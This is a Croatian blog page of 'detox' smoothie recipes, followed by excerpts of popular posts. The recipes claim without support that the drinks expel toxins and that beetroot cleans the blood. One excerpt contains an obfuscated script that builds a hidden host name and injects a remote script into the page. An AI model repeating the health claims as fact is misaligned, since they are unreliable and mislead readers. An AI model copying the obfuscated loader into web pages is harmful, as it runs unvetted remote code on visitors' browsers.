SLASNI SMOOTHIJI ČISTE ORGANIZAM





Slasni smoothiji čiste organizam 



Proljeće je pravo vrijeme da očistite organizam od nakupljenih toksina i masnoća te da se napunite novim valom prijeko potrebne energije. Donosimo nekoliko jednostavnih recepata, pa ovisno o preferencijama izaberite svoj omiljeni.



Smoothie od đumbira
  • 1 mali grumen đumbira (otprilike jedna žlica)
  • 1 žličica cimeta
  • 1 šaka špinata
  • 1 šalica vode

Đumbir ogulite i dobro usitnite nožem, a potom zajedno s ostalim sastojcima ubacite u blender i dobro smiksajte. Po želji dodajte leda da bude osvježavajuće. Đumbir ima snažna detoksikacijska svojstva te smanjuje napuhnutost, a cimet daje fantastičan okus u kombinaciji s protuupalnim svojstvima. Špinat ima puno korisnih vitamina i željeza, a okus će izjednačiti pomalo snažan okus đumbira i cimeta.



Ekstremna mrkva
  • 1 oguljena mrkva
  • 1 kruška
  • pola šalice poparene brokule
  • 1 šalica vode

Sve sastojke usitnite u blenderu i poslužite, naša je preporuka, s hladnom vodom odnosno uz malo leda. U ovoj varijanti čak možete dodati bilo što od povrća što imate u frižideru (poput celera ili kelja), ali u tom slučaju probavajte okus pa ga “popravljajte” dodavanjem više kruške ili čak s malo meda i limuna.



Zeleni detox smoothie
  • 1 jabuka
  • 2 kivija
  • sok jedne limete (ako nemate može i limun)
  • 1 šaka špinata
  • 1 stabljika celera
  • 1 žlica meda
  • led

Usitnite sve sastojke u blenderu i dodajte leda po želji. Limeta, jabuka i špinat zajedno odlično rade na izbacivanju toksina iz tijela, dok se kivi i celer antioksidansima bore protiv slobodnih radikala. Cijela kombinacija smanjuje napuhnutost i natečenost uzrokovanu prejedanjem.



Čudo od cikle
  • 3 male cikle
  • 2-3 jabuke
  • šaka malina (ili bilo kojeg bobičastog voća trenutno dostupnog)
  • 1 mali grumen đumbira (otprilike jedna žlica)

Sve sastojke dobro smiksajte u blenderu, a po želji dodajte i drugog sličnog voća, ako želite pojačati okus. Cikla čisti krv i puna je vitamina te željeza, a u kombinaciji s jabukama i bobičastim voćem (o njihovim prednostima ne treba niti govoriti) dobivate vrlo ukusan, energetski koktel.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više